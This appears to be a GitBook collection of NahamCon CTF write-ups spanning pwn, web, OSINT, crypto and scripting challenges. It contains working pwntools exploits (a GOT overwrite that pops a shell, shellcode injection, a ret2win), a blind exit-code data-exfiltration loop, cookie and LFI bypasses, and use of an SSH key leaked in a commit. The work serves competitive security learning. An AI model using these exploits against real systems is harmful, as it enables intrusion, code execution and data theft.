arrow-left

All pages
gitbookPowered by GitBook
1 of 28

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Conveyor Belt

Conveyor belt.

Running the binary, we have two options - add a part to the conveyor belt, and review the belt. When we review the belt, it goes through all the parts we have one by one, printing them, asking us if they are safe. If we say they aren't(that is, not responding with 'Y' or 'y') then we can edit the part.

Let's chuck it into ghidra and see what more we can get.

First of all, we see that the add_part function is like so - It seems to take a parameter being the address of the previous part. allocate 0x80 bytes of data. Read 0x80 bytes of data from stdin into this place. If the string contains "sh", say the part isn't safe, free the allocated data, return the parameter we got(essentially dont make any chunk and pretend nothing ever happened)

If not, then edit datapointer+0x78 to be the address of the previous part. Essentially, the parts are in the structure

Forming a list. The problem is, whenever it asks us to edit a part, it reads 0x80 bytes when only 0x78 are the data segment - giving us an overwrite of the previous_part field. More on this later.

Let's look at the safety check function. It starts on the last part, printing it, asking is if it's safe, and allowing us to edit it if it isn't. Here's our main vuln. An extra 8 bytes are read, letting us overwrite the previous_part field. The function then grabs the previous part field, visits that, prints it, asks if it's safe, etc. etc. until it hits a previous_part field of 0.

What can we do with this? We can create a single part, then activate the safety check. We can edit the previous part field in-place, and then it'll go wherever we want for the next part! This creates two things

  1. Arbitrary read, as it'll print out the part.

  2. Arbitrary write, as we can say the part isn't safe, and then edit it.

    Therefore...

    We can set the previous part field to puts@GOT, allowing us to read a libc address. Once we read this, we'll edit puts@GOT too! Let's edit it with the address of system.

Now what? It'll look 0x78 bytes later for the address of the next part, then continue. It'll grab this address, call puts("Next part:") and then calls puts on the next part.

Therefore, if we pretend the next part is the address of /bin/sh, it'll call system("/bin/sh") for us. So, our exploit:

  1. Create new part

  2. Safety check. Say the part isn't safe. Edit it with 0x78 bytes of junk + address of puts@GOT

  3. It'll print the value of puts@got, which is puts@LIBC. Read this value, and subtract appropriate offset to get the libc base. Say part isn't safe. Send system address + 0x70 bytes of junk + /bin/sh address such that whenever it calls puts it'll actually call system, and the next thing it will call puts on is /bin/sh

Script below.

hashtag
Flag: flag{you_broke_the_conveyor}

struct part {
char name[0x78];
char* previous_part;
}

pwn

from pwn import *
mode = sys.argv[1]
NUM_TO_NEXTPART = 0x78
padding = b'A' * NUM_TO_NEXTPART
e = ELF("./conveyor")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else "/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
p = e.process() if mode == 'local' else remote('jh2i.com', 50020)
p.recvuntil(b"> ")
p.sendline("1")
p.recvuntil(b": ")
p.sendline("l33t")
p.sendline("2")
p.recvuntil(b"? ")
p.sendline("no")
p.recvuntil(b": ")
# Setup is done. Time for the main exploit.
payload = padding + p64(e.got['puts'])
p.sendline(payload)
p.recvline()
output = p.recvline()[:-1]
print(output)
leak = output + b'\x00' * (8 - len(output))
puts = u64(leak)
log.info(f"Puts address: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Overwrite puts with system. Then, overwrite next part address with /bin/sh. So, it'll load /bin/sh as the next part. It'll try to puts the next part, and boom! Shell popped.
new = p64(libc.symbols['system'])
new += b'B' * (0x78 - len(new))
new += p64(next(libc.search(b"/bin/sh")))
p.sendline(new)
p.interactive()

Fake File

~Spawn a TTY shell

~ls -la to see two standard . directories, and a file named ".."

~we can just cat .* to read the file and get flag

hashtag
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}

Syrup

Binary's a little wacky, let's look into it.

There's no libc used whatsoever, everything is syscalls.

When the binary starts, it calls the _start function. This function is simple, it uses sys_write to print out "Can you pwn me?", then calls fn1, then jumps to the function nope.

Let's disassemble fn1. sets rax to the xor of 0xbeef and 0xdead, and pushes this onto the stack.

It then moves rbp to be rsp-0x400, and reads 0x800 bytes from stdin at rbp. Afterwards, it pops rax off of the stack, XORs it with 0xbeef, and checks if the value is 0xdead.

If not, it jumps to the nope function. Otherwise, it rets, popping rbp off the stack before hand

This creates a simple buffer overflow. At the time of our input, the stack looks like this

rbp 0x400 bytes rsp -> value to be popped into RAX value to be popped into RBP return address previous stack frame

we can overflow with 0x400 bytes of padding, and then the value of 0xdead ^ 0xbeef.

The binary has no protections whatsoever, including lack of NX.

There is a RWX segment within the binary. Because fn1 uses rbp to mark where it starts its input, and we get a pop into rbp, we can set rbp to be the address of the RWX segment, and then ret into the instruction in fn1 that starts the input. Then, we enter shellcode, and ret to that address. Script below. (I wrote custom shellcode that uses the fact that /bin/sh is written just before it)

from pwn import *
rax = 0xdead ^ 0xbeef
e = ELF("./syrup")
payload = b'A' * 0x400 + flat(rax,0x402000, 0x000000000040105d,rax,b'B' * 8, 0x402000+8, word_size=64)
#p = e.process()
p = remote('jh2i.com', 50036)
p.recvline()
pause()
p.sendline(payload)
p.clean()
#Send shellcode
shellcode = asm("mov rdi,0x402000 ; mov rsi,0 ; mov rdx,0 ; mov rax,0x3b ; syscall", arch='amd64')
pause()
p.sendline(b"/bin/sh\x00" + shellcode)
p.interactive()
`

Official business

Go to /robots.txt.

Look at source code

def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if blah():#...performs check
                return False, {}
        except:
            pass
#...more code...
def index():
    ok, cookie = load_cookie()
    if not ok: return abort(403)
    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG)
    return True, cookie

So just make cookie exist but somehow error out to skip to end.

I did this by not including digest val in cookie

reload page and...

hashtag
flag{did_this_even_pass_code_review}

Agent-95

Change useragent to be "Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; BCD2000)"

hashtag
Flag: flag{user_agents_undercover}

Web

PHPPhoneBook

This challenge uses a LFI vulnerability

Use base64 filter to read phonebook.php If

 $_POST($emergency)

is set we get flag so POST and

hashtag
flag = {phon3_numb3r_3xtr4ct3d}

Dangerous

The binary is stripped of symbols, and even radare2 cannot resolve main, so this is a little difficult.

I stepped through in gdb in __libc_start_main until the call rax instruction.

At this point, rax was 0x4011d6, indicating to us that this was the address of main. I used x/100i to view all the instructions at this point, and found a small little buffer overflow.

We can use pattern.py to find the offset till the return address is 497.

Looking a little past main, there appears to be another function. It calls open, then read, then puts.

If we do some calculation on RIP and use x/s, we find that it calls open on flag.txt! This must be the flag function.

Essentially, we have a simple ret2win exploit. Overwrite ret address with the flag function.

Awkward

When we connect, if we try to enter anything, it sends {number}..well this is awkward..

This reminded me of a TAMU ctf chall I did long ago, there you could send commands but you only got the exit codes. Typing stuff like "llgltltltl" gave an output of 127, which is the command not found exit code. I tried "ls", and this gave 0 - indicating that these were probably exit codes. The key was to somehow communicate information via exit codes and exit codes alone.

With a combination of bash commands, we can accomplish this.

Firstly, var1=$(command). Simple, just sets a variable to the output of this command.

Exit codes can be between 0 and 255. This is enough to communicate one byte at a time.

var2=$(echo $var1 | cut -c number) this will grab a certain character of var1 using the bash command cut, and store it in var2.

Finally, exit $(echo -n $var2 | od -An -tuC) - echo -n $var2 | od -An -tuC will grab the ascii value of the character that var2 represents, plocking exit before this means that the output of this command chain will become the argument for exit, communicating our character via the exit code.

I wrote a simple loop to automate this and get the full output of a command.

hashtag
Flag: flag{okay_well_this_is_even_more_awkward}

from pwn import *
NUM_TO_RET = 497
flag =  0x401312
padding = b'A' * NUM_TO_RET
#p = process("./dangerous")
p = remote("jh2i.com", 50011)
p.sendline(flat(padding, flag, word_size=64))
p.interactive()
import socket
import re
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('jh2i.com',50025))
def getcmdoutput(cmd):
    global s
    s.send(cmd.encode() + b'\n')
    output = s.recv(1024).decode()
    code = re.findall("(.*)... Well this is awkward...",output)[0]
    return int(code)
base = "cat this_is_where_the_flag_is_plz_dont_bruteforce/flag.txt"
output = ""
for i in range(60):
    command = "var1=$({});var2=$(echo $var1 | cut -c {});exit $(echo -n $var2 | od -An -tuC)"
    command = command.format(base,i + 1)
    exitcode = getcmdoutput(command)
    print(command)
    output += chr(exitcode)
    print(output)

Tron

(haha maltego go brrr) because i felt like it i just https://instantusername.com/#/ and searched for NahamConTron i found that he had a github account, so i went on there and looked at his commits he has a repo called dotfiles, and JohnHammond has committed there https://github.com/NahamConTron/dotfiles/commit/db31fa2e124443a7da945844ba2b59700eea0094

this has an ssh key, and also the ip, user and port of the server. if we connect (make sure to chmod 700 the key before connecting), we can see a file called flag.txt, and catting it gives us the flag

hashtag
flag: flag{nahamcon_is_on_the_grid} (or somethin)

Time Keeper

Using web.archive.org, we can see previous captures of a given site.

https://apporima.com/ has two captures, one on 9th May 2020, and another on 18th April 2020.

Seeing as this challenge appears to be themed around going back in time, 18th April seems far more interesting to us.

There is a blog post in the April capture, missing from the most recent version which reads: "Today, I created my first CTF challenge.

The flag can be found at forward slash flag dot txt." If we visit https://apporima.com/flag.txt, we get a 404 message, but putting the URL in web.archive.org shows a capture in April which will give us the flag.

hashtag
Flag: JCTF{the_wayback_machine}

Localghost

Flag in local storage

hashtag
Flag: JCTF{spoooooky_ghosts_in_storage}

raspberry

Rsactftool doesnt work for this one because n has multiple factors.

This is the script:

primes = [2208664111,2214452749,2259012491,2265830453,2372942981,2393757139,2465499073,2508863309,2543358889,2589229021,2642723827,2758626487,2850808189,2947867051,2982067987,3130932919,3290718047,3510442297,3600488797,3644712913,3650456981,3726115171,3750978137,3789130951,3810149963,3979951739,4033877203,4128271747,4162800959,4205130337,4221911101,4268160257]

from Crypto.Util.number import inverse, long_to_bytes

n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317

e = 65537
ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681

phi = 1
for p in primes:
  phi *= (p - 1)
d = inverse(e, phi)
pt = pow(ct, d, n)
decrypted = long_to_bytes(pt)
print(str(decrypted))

hashtag
flag:flag{there_are_a_few_extra_berries_in_this_one}

Trapped

cat flag.txt

hashtag
flag{you_activated_my_trap_card}

Crypto

Osint

docxor

file with 4 byte xor (like in desc) xor : 5a4199bb

hashtag
flag{xor_is_not_for_security}

NahamConCTF

Twinning

easy RSA

factor the numbers

>>> from Crypto.Util.number import *
>>> phi = (2256911-1)*(2256913-1)
>>> n = 5093651775743
>>> e = 65537
>>> d = inverse(e, phi)
>>> ct = 3084160692905
>>> pow(ct, d, n)
6444
>>>

hashtag
flag{thats_the_twinning_pin_to_win}

Alkatraz

We can ls, there is flag.txt. No cat though.

We'll have to use the bash builtin, read, instead.

Just do:

to execute a while loop that echoes all lines from flag.txt(note echo is a bash builtin too)

Misc

while read line; do echo $line; done < flag.txt

Gnomes

This was a fairly simple scripting challenge. This relies on getting enough gold for each weapon tier, and working your way up.

from pwn import *
import re

r = remote('jh2i.com', 50031)
weapons = [100000, 10000, 2000, 1000, 100]
while True:
    prompt = r.recvuntil('>').decode()
    print(prompt)
    gold = int(re.findall('Gold: \d+', prompt)[0].split()[1])
    print(gold)
    try: # The try and except was because I'm dumb and when you have nothing in the weapons list you get an index error
        if gold >= weapons[-1]:
            weapons.pop()
            r.sendline('6')
            r.recvuntil(':')
            r.sendline(str(5 - len(weapons)))
        else:
            r.sendline(str(len(weapons) + 1))
    except:
        r.sendline('1')

Flag:

hashtag
flag{it_was_in_fact_you_that_was_really_powerful}

Homecooked

This is kinda more rev imo but whatever.

We don't need to understand the main body of the script that much.

What we need to know is that it gets to incredibly large numbers, at which point the two functions it uses - a and b - become much too slow and inefficient to be useful.

Let's review the two functions: What do they do?

Function a simply iterates through all numbers between 2 and num - 1, and returns False if num % i == 0. Essentially, it checks if any numbers below a number are divisible by a number. What's that?

A prime checker.

We can just use Crypto.Util.number.isPrime, which is much more efficient.

As for b, it's much simpler. It just checks if the reverse of the string version of the number is the same as the number - checks if it's a palindrome. I just copied some more efficient code off stack overflow.

hashtag
Flag: flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

def a(num):
    from Crypto.Util.number import isPrime
    return isPrime(num)  

def b(num):
    n = num
    rev = 0
    while num > 0:
        dig = num % 10
        rev = rev * 10 + dig
        num = num // 10
    if n == rev:
        return True
    return False

Scripting

rotten: caesars

from pwn import *
from string import ascii_letters

def shift(string, offset):
    result = ''
    for c in string:
        result += chr((ord(c)+offset-97)%26 + 97) if c in ascii_letters else c
    return result

flag = [' ']*50

r = remote('jh2i.com', 50034)
r.sendline(r.recvline())
while True:
    line = r.recvline().decode()
    offset = ord('s') - ord(line[0])
    decrypted = shift(line, offset)
    if 'character' in decrypted:
        flag[int(decrypted.split()[6])] = decrypted[-3]
    r.sendline(decrypted)
    print(*flag, sep='')

hashtag
flag{now_you_know_your_caesars}

Merriam

from pwn import *
import enchant

wordlist = enchant.Dict('en-US')

notin = lambda x: not wordlist.check(x)
isin = lambda x: wordlist.check(x)

r = remote('jh2i.com', 50012)
while True:
    line = r.recvline().decode()
    print(line)
    words = r.recvline().decode()
    print(words)
    words = words.split()
    func = notin if 'NOT' in line else isin
    if 'CHRONOLOGICAL' in line:
        result = ' '.join(word for word in words if func(word))
    elif 'ALPHABETICAL' in line:
        result = ' '.join(sorted(word for word in words if func(word)))
    else:
        result = str(sum(map(func, words)))
    r.sendline(result)
    print(r.recvline().decode())

hashtag
flag{you_know_the_dictionary_so_you_are_hired}

poggers